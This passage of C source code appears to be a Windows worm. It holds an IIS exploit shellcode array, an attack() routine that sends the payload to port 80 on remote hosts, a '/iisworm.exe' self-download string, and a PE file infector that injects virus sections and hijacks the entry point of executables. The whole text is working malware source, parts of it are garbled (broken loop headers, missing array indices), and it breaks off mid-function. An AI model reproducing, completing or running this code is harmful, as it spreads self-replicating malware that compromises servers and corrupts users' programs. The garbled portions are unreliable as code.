0x3C, 0xDE, 0x75, 0xF4, 0x43, 0x43, 0xBA, 0xD0, 0x10, 0x67, 0x68, 0x52, 0x51, 0x53, 0xFF,
0x12, 0x8B, 0xF0, 0x8B, 0xF9, 0xFC, 0x59, 0xB1, 0x06, 0x90, 0x5A, 0x43, 0x32, 0xC0, 0xD7,
0x50, 0x58, 0x84, 0xC0, 0x50, 0x58, 0x75, 0xF4, 0x43, 0x52, 0x51, 0x53, 0x56, 0xB2, 0x54,
0xFF, 0x12, 0xAB, 0x59, 0x5A, 0xE2, 0xE6, 0x43, 0x32, 0xC0, 0xD7, 0x50, 0x58, 0x84, 0xC0,
0x50, 0x58, 0x75, 0xF4, 0x43, 0x52, 0x53, 0xFF, 0x12, 0x8B, 0xF0, 0x5A, 0x33, 0xC9, 0x50,
0x58, 0xB1, 0x05, 0x43, 0x32, 0xC0, 0xD7, 0x50, 0x58, 0x84, 0xC0, 0x50, 0x58, 0x75, 0xF4,
0x43, 0x52, 0x51, 0x53, 0x56, 0xB2, 0x54, 0xFF, 0x12, 0xAB, 0x59, 0x5A, 0xE2, 0xE6, 0x33,
0xC0, 0x50, 0x40, 0x50, 0x40, 0x50, 0xFF, 0x57, 0xF4, 0x89, 0x47, 0xCC, 0x33, 0xC0, 0x50,
0x50, 0xB0, 0x02, 0x66, 0xAB, 0x58, 0xB4, 0x50, 0x66, 0xAB, 0x58, 0xAB, 0xAB, 0xAB, 0xB1,
0x21, 0x90, 0x66, 0x83, 0xC3, 0x16, 0x8B, 0xF3, 0x43, 0x32, 0xC0, 0xD7, 0x3A, 0xC8, 0x75,
0xF8, 0x32, 0xC0, 0x88, 0x03, 0x56, 0xFF, 0x57, 0xEC, 0x90, 0x66, 0x83, 0xEF, 0x10, 0x92,
0x8B, 0x52, 0x0C, 0x8B, 0x12, 0x8B, 0x12, 0x92, 0x8B, 0xD7, 0x89, 0x42, 0x04, 0x52, 0x6A,
0x10, 0x52, 0xFF, 0x77, 0xCC, 0xFF, 0x57, 0xF8, 0x5A, 0x66, 0x83, 0xEE, 0x08, 0x56, 0x43,
0x8B, 0xF3, 0xFC, 0xAC, 0x84, 0xC0, 0x75, 0xFB, 0x41, 0x4E, 0xC7, 0x06, 0x8D, 0x8A, 0x8D,
0x8A, 0x81, 0x36, 0x80, 0x80, 0x80, 0x80, 0x33, 0xC0, 0x50, 0x50, 0x6A, 0x48, 0x53, 0xFF,
0x77, 0xCC, 0xFF, 0x57, 0xF0, 0x58, 0x5B, 0x8B, 0xD0, 0x66, 0xB8, 0xFF, 0x0F, 0x50, 0x52,
0x50, 0x52, 0xFF, 0x57, 0xE8, 0x8B, 0xF0, 0x58, 0x90, 0x90, 0x90, 0x90, 0x50, 0x53, 0xFF,
0x57, 0xD4, 0x8B, 0xE8, 0x33, 0xC0, 0x5A, 0x52, 0x50, 0x52, 0x56, 0xFF, 0x77, 0xCC, 0xFF,
0x57, 0xEC, 0x80, 0xFC, 0xFF, 0x74, 0x0F, 0x50, 0x56, 0x55, 0xFF, 0x57, 0xD8, 0x80, 0xFC,
0xFF, 0x74, 0x04, 0x85, 0xC0, 0x75, 0xDF, 0x55, 0xFF, 0x57, 0xDC, 0x33, 0xC0, 0x40, 0x50,
0x53, 0xFF, 0x57, 0xE4, 0x90, 0x90, 0x90, 0x90, 0xFF, 0x6C, 0x66, 0x73, 0x6F, 0x66, 0x6D,
0x54, 0x53, 0x21, 0x80, 0x8D, 0x84, 0x93, 0x86, 0x82, 0x95, 0x21, 0x80, 0x8D, 0x98, 0x93,
0x8A, 0x95, 0x86, 0x21, 0x80, 0x8D, 0x84, 0x8D, 0x90, 0x94, 0x86, 0x21, 0x80, 0x8D, 0x90,
0x91, 0x86, 0x8F, 0x21, 0x78, 0x8A, 0x8F, 0x66, 0x99, 0x86, 0x84, 0x21, 0x68, 0x8D, 0x90,
0x83, 0x82, 0x8D, 0x62, 0x8D, 0x8D, 0x90, 0x84, 0x21, 0x78, 0x74, 0x70, 0x64, 0x6C, 0x54,
0x53, 0x21, 0x93, 0x86, 0x84, 0x97, 0x21, 0x94, 0x86, 0x8F, 0x85, 0x21, 0x94, 0x90, 0x84,
0x8C, 0x86, 0x95, 0x21, 0x84, 0x90, 0x8F, 0x8F, 0x86, 0x84, 0x95, 0x21, 0x88, 0x86, 0x95,
0x89, 0x90, 0x94, 0x95, 0x83, 0x9A, 0x8F, 0x82, 0x8E, 0x86, 0x21, 0x90, 0x98, 0x8F, 0x4F,
0x86, 0x99, 0x86, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x2E,
0x68, 0x74, 0x72, 0x20, 0x48, 0x54, 0x54, 0x50, 0x2F, 0x31, 0x2E, 0x30, 0x0D, 0x0A, 0x0D,
0x0A };
void attack(char *host) {
SOCKET s;
struct hostent *he;
SOCKADDR_IN sout;
int i;
s = socket(AF_INET,SOCK_STREAM,0);
he = gethostbyname(host);
if (!he) return;
sout.sin_family = AF_INET;
sout.sin_addr.s_addr = *((unsigned long *)he->h_addr_list[0]);
sout.sin_port = htons(80);
i = connect(s,(LPSOCKADDR)&sout,sizeof(sout));
if (i!=0) return;
send(s,sploit,sizeof(sploit),0);
closesocket(s);
}
void setuphostname() {
char s[1024];
struct hostent *he;
int i;
gethostname(s,1024);
he = gethostbyname(s);
strcpy(s,he->h_name);
strcat(s,"!GET /iisworm.exe");
for (i=0; i+=0x21;
memcpy(sploit+sizeof(sploit)-102,he->h_name,strlen(he->h_name));
}
#define MEMALLOC(x) GlobalAlloc(GPTR, x)
#define MEMFREE(x) GlobalFree(x)
/////////////////////
// Type definitions
/////////////////////
typedef struct
{
WORD RelocOfs : 12;
WORD RelocType: 4;
} IMAGE_RELOCATION_DATA;
////////////
// Globals
////////////
IMAGE_NT_HEADERS PEHeader;
IMAGE_DOS_HEADER * IDosHeader;
IMAGE_NT_HEADERS * IPEHeader;
IMAGE_SECTION_HEADER * ISection;
IMAGE_SECTION_HEADER * Section = NULL;
int Generation = 1;
int VirusSections = 0;
int FirstVirusSection = 0;
int VirusCodeSection = 0;
int VirusImportSection = 0;
DWORD VirusImportSize = 0;
DWORD VirusRVAImports = 0;
DWORD HostRVAImports = 0;
int VirusRelocSection = 0;
DWORD VirusRelocSize = 0;
DWORD VirusRelocSizeDir = 0;
DWORD OfsSections = 0;
DWORD VirusBaseRVA = 0;
DWORD VirusEP = 0;
DWORD HostEP = 0;
//// Fix for Visual C 5.0 heap
//extern __small_block_heap;
//////////////
// Functions
//////////////
/////////////////////////////////////
// GetProcAddress for ordinal imports
/////////////////////////////////////
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
{
IMAGE_NT_HEADERS * DLLHeader;
IMAGE_EXPORT_DIRECTORY * Exports;
DWORD * AddrFunctions;
DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
return Base + AddrFunctions[NFunc - Exports->Base];
}
//////////////////////////////////
// Check file and read PE header
//////////////////////////////////
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
{
IMAGE_DOS_HEADER FileHeader;
WORD SizeSections;
DWORD BytesRead;
return
( // Read file header
( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_DOS_HEADER) )
&& // Check if EXE file
( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
&& // Seek to NewExe header
( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
&& // Read header
( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
&&
( BytesRead == sizeof(IMAGE_NT_HEADERS) )
&& // Check if PE file
( PEHeader.Signature == IMAGE_NT_SIGNATURE )
&& // Alloc memory for file sections + virus sections
( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
&&
( (Section = MEMALLOC(SizeSections)) != NULL )
&&
( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
&& // Read PE sections
( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
&&
( BytesRead == SizeSections )
&& // Check if there is enough room for our sections
( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
&& // Only infect when entry point belongs to 1st section
// Avoid reinfections and compressors (usually perform virus checks)
( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
&& // Skip DDLs
( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
&& // Skip files with overlays or not aligned to file alignment
( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
&& //Check if the host will overwrite our code with its unitialized data (not present in disk)
( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
);
}
///////////////////////////////////////
// Translates a RVA into a file offset
///////////////////////////////////////
DWORD RVA2Ofs(DWORD rva)
{
int NSect;
NSect = 0;
while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
{
if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
break;
NSect++;
}
return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
}
////////////////////////////////////////////
// I can';t remember what this function does
////////////////////////////////////////////
void InfectFile(HANDLE FHandle)
{
BYTE * Relocations = NULL;
BYTE * HostRelocs = NULL;
BYTE * Ptr;
IMAGE_BASE_RELOCATION * RelocBlock;
IMAGE_RELOCATION_DATA * PtrReloc;
int j;
// Let';s do some initializations
Section = NULL;
Relocations = NULL;
HostRelocs = NULL;
Ptr = NULL;
if (ReadPEHeader(FHandle))
{
DWORD SectionRVA;
int HostNSections;
DWORD HostRelocsSize;
DWORD BytesRead;
int i;
HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
HostNSections = PEHeader.FileHeader.NumberOfSections;
HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
// Search for victim import section
for (i=0; i.VirtualAddress + Section.SizeOfRawData > HostRVAImports)
{
// Do it writable
Section.Characteristics |= IMAGE_SCN_MEM_WRITE;
break;
}
}
// Check if last section is .reloc
HostRelocsSize = 0;
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
{
// Then we';ll join it to virus reloc section
VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
{
goto L_Exit_Infect;
}
else // Read the .reloc section
{
HostNSections--;
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
}
}
else // There is no .reloc or it is not the last section
{
if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
{ // There are relocs but we didn';t find them, so exit
goto L_Exit_Infect;
}
VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
SetFilePointer(FHandle, 0, NULL, FILE_END);
}
FirstVirusSection = HostNSections;
// Add virus section table
CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);
// Reloc virus code & fix reloc sections
if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
{
goto L_Exit_Infect;
}
CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));
// Reloc all virus sections and write them to disk
for (i=0; i.SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
if (i == VirusRelocSection) // Virus reloc section?
{
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
// Write host relocations
WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
// Add virus relocations
WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
// Fill with zeros until file alignment
memset(Relocations, 0, 0x1000);
WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
}
else
{
if ((Ptr = (BYTE *)MEMALLOC(ISection.SizeOfRawData)) == NULL)
{
goto L_Exit_Infect;
}
CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection.VirtualAddress), ISection.SizeOfRawData);
// Patch Visual C 5.0 heap in .data section
/*
{
DWORD * PtrHeap = &__small_block_heap;
if (((DWORD)IDosHeader + ISection.VirtualAddress < (DWORD)PtrHeap)
&&
((DWORD)IDosHeader + ISection.VirtualAddress + ISection.SizeOfRawData > (DWORD)PtrHeap)
)
{
PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection.VirtualAddress);
PtrHeap[3] = PtrHeap[2];
PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
}
}
*/
// Do relocations in this section
while ( (ISection.VirtualAddress + ISection.SizeOfRawData > RelocBlock->VirtualAddress)
&&
((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
)
{
DWORD Base;
Base = RelocBlock->VirtualAddress - ISection.VirtualAddress;
RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
while (RelocsInBlock--)
{
if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
{
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection.VirtualAddress);//RelocBlock->VirtualAddress);
*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
}
PtrReloc++;
}
RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection.VirtualAddress + SectionRVA;
RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
}
// Check if this is the Import section
if (i == VirusImportSection)
{
IMAGE_IMPORT_DESCRIPTOR * Imports;
IMAGE_THUNK_DATA * DataImports;
DWORD StartImports;
DWORD DeltaRVAs;
DeltaRVAs = SectionRVA - ISection.VirtualAddress;
StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection.VirtualAddress;
Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
while (Imports->OriginalFirstThunk)
{
// Fix some initialized fields in memory
Imports->TimeDateStamp = Imports->ForwarderChain = 0;
Imports->OriginalFirstThunk += DeltaRVAs;
Imports->Name += DeltaRVAs;
Imports->FirstThunk += DeltaRVAs;
DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
do
{
DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
}
while ((++DataImports)->u1.AddressOfData);
Imports++;
}
}
WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
MEMFREE(Ptr);
Ptr = NULL;
}
SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
}//for
// Recalculate Header fields
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
PEHeader.OptionalHeader.SizeOfCode = 0;
PEHeader.OptionalHeader.SizeOfInitializedData = 0;
PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
for (j=0; j |